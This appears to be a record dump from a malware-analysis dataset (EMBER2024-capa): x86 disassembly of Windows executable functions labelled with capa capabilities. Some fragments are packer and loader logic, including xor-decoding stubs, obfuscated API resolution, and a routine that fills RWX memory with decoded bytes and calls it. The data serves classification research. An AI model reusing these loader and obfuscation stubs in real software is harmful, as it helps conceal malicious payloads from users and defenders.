joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401ae0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40406c], eax
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.mifedount
push str.Deltapo
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401b33
xor eax, eax
jmp 0x401b4e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4111e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x461544]
jne 0x4111ea
repz ret
jmp fcn.0041fd70
Function at 0x44c2b0
Capabilities:
Connect pipe
Create directory
Get common file path
Get hostname
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1480
call fcn.0041a530
cmp dword [0x4dae6c], 0x37
jne 0x44c3e3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [ebp - 0x80c]
push eax
lea ecx, [ebp - 0x1130]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.teliyemukodosixu
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x1468]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
push str.sexebigulihijowowekowazini
push 0
push str.Rid_wizowufelerowudasosupud_duposuhaxicamofoc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0xd30]
push ecx
push 0
push 0
push str.Mivehi_nuxosugedel_tovivocatuw
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
lea edx, [ebp - 0x1248]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
push 0
lea eax, [ebp - 0x930]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push str.funanatitoxemoratu_wecelatiseta
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x1480], 0
xor ecx, ecx
mov dword [ebp - 0x147c], ecx
mov dword [ebp - 0x1478], ecx
mov dword [ebp - 0x1474], ecx
mov dword [ebp - 0x1470], ecx
lea edx, [ebp - 0x1480]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push 0
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0x45b958
push 0
push str.tumuxi_yonilihoredaxi_xeminutarikehigawowahuyahoxyfu_nuzuluzo
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [ebp - 4], 0
mov eax, dword [0x4db568]
add dword [ebp - 4], eax
mov eax, 0x8c456
add dword [ebp - 4], eax
mov ecx, dword [0x4649c4]
add ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
add edx, dword [ebp + 8]
mov al, byte [edx]
mov byte [ecx], al
mov esp, ebp
pop ebp
ret 4
Function at 0x44c750
Capabilities:
Delete file
Get disk information
Manipulate console buffer
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc50
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [0x4dae6c], 0x516
jne 0x44c7d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
shr eax, 3
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
jmp 0x44c7f3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0xc]
jae 0x44c86f
cmp dword [0x4dae6c], 0x29
jne 0x44c80c
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
shl ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [0x4dae6c], 0x1c
jne 0x44c857
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push 0
lea edx, [ebp - 0xc50]
push edx
push str.vikoserujofafuhazivovejijuwaxu_zinige
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx*4]
push eax
call fcn.0044c460
jmp 0x44c7ea
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100c54b
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 4
pop eax
call fcn.010080f0
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100c5b1
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100e724]
mov esi, dword [ebp - 0x40]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
lea edx, [esi - 1]
and ecx, 0x103
not edx
and edx, ebx
inc ecx
sub edx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffff1
add eax, 0x11
imul eax, esi
add eax, edi
cmp edx, eax
jae 0x100c5b5
xor eax, eax
jmp 0x100c5c2
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100caf1
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1002110
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100cb49
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x1001b5b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100cb3c
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x100cb4b
xor eax, eax
pop esi
leave
ret 4

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x465b381f
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
nop
mov ecx, 0x489247e1
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x46974b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x47e87a
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4697a3
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x47e89b
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x469799
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x4697a7
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x47c1e4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403f18
mov eax, dword [ebp - 8]
call fcn.00403f18
mov eax, dword [ebp - 0xc]
call fcn.00403f18
xor eax, eax
push ebp
push 0x47c2b3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x47c2cc
call fcn.00403d6c
lea eax, [ebp - 8]
mov edx, 0x47c2cc
call fcn.00403d6c
lea eax, [ebp - 0xc]
mov edx, 0x47c2cc
call fcn.00403d6c
mov bl, 1
push 1
lea eax, [ebp - 0xc]
call fcn.00403f34
push eax
lea eax, [ebp - 8]
call fcn.00403f34
push eax
lea eax, [ebp - 4]
call fcn.00403f34
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jae 0x47c298
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x47c2d8
call fcn.00403db0
mov eax, dword [ebp - 0x10]
mov cx, word [0x47c2ec]
mov dl, 1
call fcn.004490b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c2ba
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403b0c
ret

Function at 0x40896b
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
call fcn.0040898a
xor dword [edi], eax
add edx, 0xbe8bb3fc
add edi, 1
mov ecx, edx
cmp edi, ebx
jne fcn.0040896b
ret
Function at 0x1009b454
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1014fef1
call fcn.10147df8
mov esi, ecx
mov dword [ebp - 0x14], esi
call fcn.1008f6dc
xor ebx, ebx
mov dword [esi], vtable.ScObjects::Thread.0
push 0x10
mov dword [ebp - 4], ebx
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
call fcn.1010ce65
mov dword [ebp - 0x14], eax
pop ecx
test eax, eax
je 0x1009b49b
mov dword [eax], vtable.ScObjects::ThreadData.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
jmp 0x1009b49d
mov eax, ebx
mov dword [esi + 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push 0x1009b680
push ebx
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, eax
add esp, 0x18
cmp ecx, 0xffffffff
jne 0x1009b4d0
mov eax, dword [esi + 8]
mov dword [esi + 0x10], 0x20
mov dword [esi + 0xc], ebx
mov dword [eax + 4], ebx
jmp 0x1009b4dc
mov eax, dword [ebp - 0x10]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov dword [eax + 4], ecx
mov eax, esi
call fcn.10147dc1
ret

Function at 0x1009b790
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0x10], 0
jne 0x1009b7a2
mov eax, dword [ecx + 8]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100a1d60
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x2c
mov eax, 0x10150bd0
call fcn.10147e2c
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x38], esi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], edi
call fcn.1009b955
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], 1
call fcn.100a1e88
test eax, eax
jne 0x100a1da4
push 0xffffffffffffffff
push 0x10159980
mov ecx, esi
call fcn.1010ce65
jmp 0x100a1dea
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, esi
push 0xffffffffffffffff
push 0x10159980
test eax, eax
je 0x100a1d9d
call fcn.1010ce65
movzx eax, byte [ebp + edi - 0x20]
push eax
lea eax, [ebp - 0x30]
push 0x10165c80
push eax
call fcn.1010ce65
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.1010ce65
add esp, 0x14
inc edi
cmp edi, 0x10
jb 0x100a1dc3
mov eax, esi
call fcn.10147dd6
ret

Function at 0x100a1e88
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
mov esi, dword [0x107d4410]
test esi, esi
jne 0x100a1edc
push edi
push esi
push 1
push esi
push esi
mov edi, 0x107d4410
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100a1ed5
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x100a1ed5
push 8
push 1
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100a1ed5
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [0x107d4410], esi
jmp 0x100a1edb
mov esi, dword [0x107d4410]
pop edi
mov eax, esi
pop esi
ret
Function at 0x100a2070
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x54
mov eax, 0x10150c7f
call fcn.10147e2c
mov ebx, dword [ebp + 8]
xor eax, eax
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], eax
call fcn.100a1e88
and dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.1009b955
mov ecx, ebx
mov dword [ebp - 4], 1
call fcn.1009b955
push edi
mov eax, 0x10165d08
mov dword [ebp - 0x44], 1
push eax
push esi
push eax
push edi
push ebx
call fcn.1010ce65
pop ecx
pop ecx
push eax
call fcn.1010ce65
pop ecx
pop ecx
push eax
call fcn.1010ce65
pop ecx
pop ecx
push eax
call fcn.1010ce65
pop ecx
pop ecx
push eax
call fcn.1010ce65
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
test eax, eax
jne 0x100a2105
push 0xffffffffffffffff
push 0x10159980
mov ecx, ebx
call fcn.1010ce65
jmp 0x100a21c1
lea ecx, [ebp - 0x3c]
xor esi, esi
push ecx
push esi
push esi
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100a20f2
push esi
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100a20f2
push 4
pop ecx
push esi
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x40], esi
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
push eax
push ecx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x100a20f2
push dword [ebp - 0x40]
call fcn.1010ce65
mov edi, eax
pop ecx
test edi, edi
je 0x100a20f2
push esi
lea eax, [ebp - 0x40]
push eax
push edi
push 2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, ebx
push 0xffffffffffffffff
push 0x10159980
test eax, eax
jne 0x100a2185
call fcn.1010ce65
jmp 0x100a21ba
call fcn.1010ce65
cmp dword [ebp - 0x40], esi
jbe 0x100a21ba
cmp esi, 0x28
jae 0x100a21ba
movzx eax, byte [esi + edi]
push eax
lea eax, [ebp - 0x38]
push 0x10165c80
push eax
call fcn.1010ce65
lea eax, [ebp - 0x38]
push eax
push ebx
call fcn.1010ce65
add esp, 0x14
inc esi
cmp esi, dword [ebp - 0x40]
jb 0x100a218f
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
pop ecx
cmp dword [ebp - 0x3c], 0
je 0x100a21d0
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x60]
call fcn.1010ce65
mov eax, ebx
call fcn.10147dd6
ret
Function at 0x100afdae
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x10152d8e
call fcn.10147df8
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x10191e8c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100ab64a
xor ebx, ebx
mov dword [esi], vtable.WinInterAppStream.0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1009b955
lea eax, [esi + 0x40]
mov byte [ebp - 4], 1
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1010ce65
pop ecx
pop ecx
push eax
call fcn.1010ce65
push 0xc
lea edi, [esi + 0x56]
push ebx
push edi
call sub.VCRUNTIME140.dll_memset
push edi
mov ecx, ebx
call fcn.1010ce65
add esp, 0x18
test al, al
je 0x100afe21
cmp dword [esi + 0x5a], ebx
cmovne ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x52], eax
call fcn.1010ce65
mov eax, esi
call fcn.10147dc1
ret 8

Function at 0x100affb0
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x101509dd
call fcn.10147df8
mov esi, ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.1008f6a9
and dword [ebp - 4], 0
lea eax, [esi + 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.1009b803
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
push dword [eax + 8]
push dword [eax + 4]
call fcn.1010ce65
push 0
xor ecx, ecx
lea eax, [esi + 0x56]
cmp dword [esi + 0x5a], ecx
push 0x80
push 3
cmovne ecx, eax
push ecx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CreateFileA]
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100b004b
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
push 0
push ecx
push dword [edi + 8]
push dword [edi + 4]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100b004b
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
je 0x100b004d
xor bl, bl
lea ecx, [ebp - 0x2c]
call fcn.1010ce65
lea ecx, [ebp - 0x1c]
call fcn.1010ce65
mov al, bl
call fcn.10147dc1
ret 8
Function at 0x1010ce65
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1010ce74
pop dword [ebp - 8]
mov eax, 0x9a685f20
sub eax, 0x8a5790ac
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xfd54e1f8
add dword [ebp - 0x18], 0x50fd6353
mov dword [ebp - 0x14], 0x64f04ee1
add dword [ebp - 0x14], 0xcd42fd64
mov dword [ebp - 0x10], 0xab7cba81
add dword [ebp - 0x10], 0xa0cf89ad
mov dword [ebp - 0xc], 0x91eee833
sub dword [ebp - 0xc], 0x91eee833
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x416c63f7
add dword [ebp - 0x18], 0x3306055f
mov dword [ebp - 0x14], 0xe3001edb
add dword [ebp - 0x14], 0x5e6c429a
mov dword [ebp - 0x10], 0x5f3cc03a
sub dword [ebp - 0x10], 0xfbcd53ce
mov dword [ebp - 0xc], 0xa2fd3057
sub dword [ebp - 0xc], 0xa2fd3057
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x5e4e7c93
sub eax, 0x4e3929f7
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x71a9a
push 0
call eax
mov ecx, 0xf486d99b
add ecx, 0xb796701
xor esi, esi
add esi, eax
mov edx, 0x50c65d5d
sub edx, 0x4047995d
add edx, dword [ebp - 8]
mov ebx, 0x171bae74
add dword [ebp - 4], edi
mov edi, dword [edx]
add edi, ebx
mov dword [ebp - 4], 0xb1fa5c6d
mov dword [esi], edi
xor dword [ebp - 4], ecx
add esi, 4
add edx, 0xd065f69
sub edx, 0xd065f65
loop 0x1010cf8d
add eax, 0xaa39599a
add eax, 0x55c79ba9
xor ebx, ebx
add ebx, eax
add eax, 0xdf341066
add eax, 0x20cbef9f
mov ecx, 0x400cad6f
sub ecx, 0x300cad6f
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x10127680
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012771b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101276d2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101276d2
cmp esi, ebx
jge 0x101276d2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10127715
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10127715
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10155aa8]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10155aa8]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012772d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10127950
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
mov eax, dword [ebp + 8]
je 0x10127978
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x10127992
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1010ce65
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10147db0
leave
ret 4

Function at 0x10127b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10127b96
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10127bf5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1010ce65
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1010ce65
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1010ce65
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10147db0
leave
ret 0x10
Function at 0x10127c10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10127c3c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10127c6d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10127c6b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1010ce65
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10127c6d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10147db0
leave
ret 8